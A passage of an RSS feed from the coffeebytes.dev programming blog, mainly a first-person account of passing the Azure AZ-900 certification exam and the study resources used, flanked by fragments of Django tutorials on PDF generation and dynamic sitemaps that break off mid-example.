      <summary>&lt;p&gt;With django and reportlab we can generate PDFs dynamically, using information from our database, user input or any other business logic we want.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installation-of-reportlab&#34;&gt;Installation of reportlab&lt;/h2&gt;&#xA;&lt;p&gt;The first thing will be to install reportlab, we can use pip, pipenv or any other package manager you want.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install reportlab&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# pip install reportlab&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;define-pdf-response-type-in-django&#34;&gt;Define PDF response type in Django&lt;/h2&gt;&#xA;&lt;p&gt;Once installed, the first lines we will write will be to make sure that the browser knows that we will return a pdf, we will do it through an HTTP header, the Content-Type header, through the &lt;em&gt;content_type&lt;/em&gt; variable.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Azure AZ-900 Certification Exam: My Experience</title>
      <link>https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/</link>
      <pubDate>Fri, 02 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;On Saturday, August 6, 2022 I sat for and approved my Microsoft Azure AZ-900 certification exam.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-does-az-900-certification-consist-of&#34;&gt;What does AZ-900 certification consist of?&lt;/h2&gt;&#xA;&lt;p&gt;The AZ-900 Fundamentals certification ensures that a person knows all the basic services that Microsoft&amp;rsquo;s cloud, Azure, and its enterprise applications have.&lt;/p&gt;&#xA;&lt;p&gt;For practical purposes, it prepares you to serve as an intermediary who recommends Microsoft Azure services to a company or third party, according to their needs. Or, as a software professional, you can take advantage of all the services that Azure has to offer. It often reads like a no-brainer, but Azure has a wealth of services.&lt;/p&gt;&#xA;&lt;p&gt;To achieve the above you need to know the basic architecture of Azure, its different services: compute, storage, artificial intelligence, etc., their special features, differences, and their respective use cases.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;my-examination-process&#34;&gt;My examination process&lt;/h2&gt;&#xA;&lt;p&gt;The exam was conducted through the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.evaluaasi.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Evaluaasi platform&lt;/a&gt;&#xA;, through which you download a program that connects to a remote desktop to take the exam. This program will monitor your computer and connected devices, probably to prevent a user from cheating in some way; I have heard that some evaluation processes are so strict that they ask to see the room in which you will take the exam before starting. That wasn&amp;rsquo;t my case though.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/evaluaasi-plataforma.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/evaluaasi-plataforma.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Evaluaasi platform&#34; width=&#34;1672&#34; height=&#34;576&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Evaluaasi platform home screen&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;When it is time for the exam, and once connected to the remote desktop, an evaluator will enter his or her username and password to give you access to the exam.&lt;/p&gt;&#xA;&lt;p&gt;According to what I was told in one of their emails, the application of the exam can be postponed and they are quite flexible.&lt;/p&gt;&#xA;&lt;h2 id=&#34;az-900-examination-format&#34;&gt;AZ-900 Examination format&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;The duration of the exam is approximately 60 minutes and has 45 questions, there are multiple choice questions, true or false, matching columns and even some where you have to choose an option from the Microsoft marketplace directly, just as if you were in the browser.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/portal-azure.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/portal-azure.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Azure Portal screenshot&#34; width=&#34;1051&#34; height=&#34;209&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Azure Portal&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;You can skip questions and mark them to come back to them later, which I highly recommend because time is tight, I had 10 minutes left over, but there were some questions I couldn&amp;rsquo;t answer in the first round.&lt;/p&gt;&#xA;&lt;p&gt;The test is divided into different sections, each with a different value, generally fluctuating around 20%.&lt;/p&gt;&#xA;&lt;p&gt;At the end of the exam, the system automatically calculates your score and informs you if you approved. You need a minimum of 700 points out of a maximum of 1000 points to pass.&lt;/p&gt;&#xA;&lt;h3 id=&#34;contents-of-the-az-900-exam&#34;&gt;Contents of the AZ-900 exam&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The exam is strongly oriented towards practical applications of cloud services. With questions focused on practical cases, where a fictitious company needs to decide which cloud service can best meet their needs, so it is not enough to know definitions, but to have a clear understanding of concepts, to be able to apply them in an environment a little more similar to the real one.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-language-is-the-test-in&#34;&gt;What language is the test in?&lt;/h3&gt;&#xA;&lt;p&gt;At the time of taking the exam it is possible to select from several languages, including English and Spanish, so don&amp;rsquo;t worry if you think that language will be another barrier in this exam.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-to-study-for-the-az-900-certification-exam&#34;&gt;Where to study for the AZ-900 certification exam?&lt;/h2&gt;&#xA;&lt;p&gt;To study I used the following resources, here is a brief description of each one.&lt;/p&gt;&#xA;&lt;h3 id=&#34;microsoft-learn&#34;&gt;Microsoft Learn&lt;/h3&gt;&#xA;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.microsoft.com/en-us/learn/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;microsoft Learn platform&lt;/a&gt;&#xA; is the default resource, as there is no one better than microsoft to start reading the basic features of the Azure cloud. However, being a text-only solution it can become somewhat tedious. In addition, the large amount of information can make people who have their first approach to new technologies feel lost.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/plataforma-microsoft-learn.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/plataforma-microsoft-learn.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;microsoft learn platform&#34; width=&#34;951&#34; height=&#34;914&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;microsoft learning platform&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The e-learning platform is also available in Spanish, just select the language.&lt;/p&gt;&#xA;&lt;p&gt;See below for details on the content of this platform.&lt;/p&gt;&#xA;&lt;h3 id=&#34;learnbigdata&#34;&gt;Learnbigdata&lt;/h3&gt;&#xA;&lt;p&gt;Aprenderbigdata has a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://aprenderbigdata.com/az-900-azure-fundamentals/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;exam guide in 5 PDF files&lt;/a&gt;&#xA; quite complete with questions in Spanish, which you can use as a review quiz, it is almost at the bottom of the page.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/aprender-big-data.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/aprender-big-data.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Learn big data&#34; width=&#34;1194&#34; height=&#34;666&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;adam-marczacs-website&#34;&gt;Adam Marczac&amp;rsquo;s website&lt;/h3&gt;&#xA;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://marczak.io/az-900/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Marczac website&lt;/a&gt;&#xA; has a complete review of the AZ-900 certification content, organized into sections, along with an interactive form where you can test your knowledge on the spot, plus links to their youtube videos. I highly recommend it.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/NPEsD6n9A_I?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h3 id=&#34;technical-preparation-from-john-savill&#34;&gt;Technical preparation from John Savill&lt;/h3&gt;&#xA;&lt;p&gt;Among the resources I used to study I would like to highlight the following video by John Savill, as I found it to be &lt;strong&gt;the most complete and best explained&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/tQp1YkB2Tgs?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;It is a 3-hour review in English, in which they explain the basics of the Azure cloud, in a more structured and visual way. Like a giant blueprint of the cloud, in which they explain each part and how it relates to the others.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-much-does-az-900-certification-cost-is-it-free&#34;&gt;How much does AZ-900 certification cost? Is it free?&lt;/h2&gt;&#xA;&lt;p&gt;The certification costs &lt;strong&gt;about $90 USD directly with microsoft&lt;/strong&gt;, but I got it for free as part of a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://platzi.com/r/eduardo-zepeda&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Platzi learning platform certification challenge&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;I understand that if you sign up for the Microsoft Learn e-learning platform, they usually give away coupons from time to time.&lt;/p&gt;&#xA;&lt;p&gt;With so many coupons and other free options, I don&amp;rsquo;t recommend that you shell out the money out of pocket but wait for an opportunity to get it for free or much cheaper.&lt;/p&gt;&#xA;&lt;h2 id=&#34;free-platzi-az-900-certification-process&#34;&gt;Free Platzi AZ-900 certification process&lt;/h2&gt;&#xA;&lt;p&gt;A couple of months ago Platzi offered a challenge in which they give you the opportunity to &lt;strong&gt;certify yourself completely free of charge&lt;/strong&gt;, through their platform, with two requirements: pass a series of courses on their platform, with their respective exams, and complete a Microsoft Learn practice lab.&lt;/p&gt;&#xA;&lt;h3 id=&#34;required-platzi-courses-for-az-900&#34;&gt;Required Platzi Courses for AZ-900&lt;/h3&gt;&#xA;&lt;p&gt;The process consists of completing the following 4 courses:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fundamentals of Software Engineering&lt;/li&gt;&#xA;&lt;li&gt;Introduction to the Terminal and Command Line Course&lt;/li&gt;&#xA;&lt;li&gt;Linux Server Administration Course&lt;/li&gt;&#xA;&lt;li&gt;Introduction to the Cloud with Azure Course&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In general the first two are fairly easy, especially if you already have experience working with the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;usual linux commands from the terminal&lt;/a&gt;&#xA;, the last two do require some experience or a lot of practice on your part to pass them.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/administracion-servidores-linux.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/administracion-servidores-linux.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Platzi&amp;#39;s Linux Server Administration Course&#34; width=&#34;1283&#34; height=&#34;801&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Linux Server Administration Course&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;microsoft-learn-practices&#34;&gt;Microsoft Learn Practices&lt;/h3&gt;&#xA;&lt;p&gt;The practical laboratory is a series of 20 courses in which each course is subdivided into theory and practice. In the theoretical part you are shown the basics of the subject in written form, while the practical part consists of a short form of 3-4 questions in which the previous content is evaluated, but as a practical application.&lt;/p&gt;&#xA;&lt;p&gt;For example, &amp;ldquo;A company wants to implement a voting box where security is at its highest, which Microsoft Azure service would you recommend using.&amp;rdquo;&lt;/p&gt;&#xA;&lt;h2 id=&#34;azure-fundamentals-badge&#34;&gt;Azure Fundamentals Badge&lt;/h2&gt;&#xA;&lt;p&gt;If you pass the exam, you will have access to the Microsoft AZ-900 Fundamentals badge, which you can register on Credly, or directly place your badge on a website, your LinkedIn profile or other medium.&lt;/p&gt;&#xA;&lt;p&gt;This is mine, hosted on credly.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images%20microsoft-certified-azure-fundamentals.png&#34;&gt;&#xA;&lt;figure&gt;&lt;a href=&#34;https://www.credly.com/badges/17608a52-2cb7-4268-a907-613459559911/public_url&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images%20microsoft-certified-azure-fundamentals.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Azure AZ-900 certification badge by Eduardo Zepeda&#34;&gt;&lt;/a&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;On Saturday, August 6, 2022 I sat for and approved my Microsoft Azure AZ-900 certification exam.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-does-az-900-certification-consist-of&#34;&gt;What does AZ-900 certification consist of?&lt;/h2&gt;&#xA;&lt;p&gt;The AZ-900 Fundamentals certification ensures that a person knows all the basic services that Microsoft&amp;rsquo;s cloud, Azure, and its enterprise applications have.&lt;/p&gt;&#xA;&lt;p&gt;For practical purposes, it prepares you to serve as an intermediary who recommends Microsoft Azure services to a company or third party, according to their needs. Or, as a software professional, you can take advantage of all the services that Azure has to offer. It often reads like a no-brainer, but Azure has a wealth of services.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Dynamic sitemap with django</title>
      <link>https://coffeebytes.dev/en/django/dynamic-sitemap-with-django/</link>
      <pubDate>Wed, 20 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/dynamic-sitemap-with-django/</guid>
      
      <category>django</category>
      
      <category>seo</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A sitemap is an xml file that functions as a map to navigate your site. Hence the name; Site-map. Search engines, such as google, bing, yahoo and others, use the sitemap of a site as a starting point to analyze its content and include it in their search results.&lt;/p&gt;&#xA;&lt;p&gt;A sitemap is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/&#34;&gt;crucial in SEO and a sitemap with errors can plummet your site views&lt;/a&gt;&#xA;, as it happened to me.&lt;/p&gt;&#xA;&lt;h2 id=&#34;structure-of-a-sitemap&#34;&gt;Structure of a sitemap&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;A sitemap is an xml file, which has an element called urlset, which is a collection of url elements. Each url element has a location, in this case its url address, a frequency of change, a priority and other optional elements, such as images.&lt;/p&gt;&#xA;&lt;p&gt;A sitemap is a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-basics-checklist-only-for-web-developers/&#34;&gt;crucial part of technical SEO&lt;/a&gt;&#xA;, and every site should have one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;urlset&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;xmlns=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://www.sitemaps.org/schemas/sitemap/0.9&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;xmlns:xhtml=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://www.w3.org/1999/xhtml&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;url&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;http://example.com/objecto/1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;lastmod&amp;gt;&lt;/span&gt;1970-01-01&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/lastmod&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;changefreq&amp;gt;&lt;/span&gt;monthly&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/changefreq&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;priority&amp;gt;&lt;/span&gt;0.8&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/priority&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 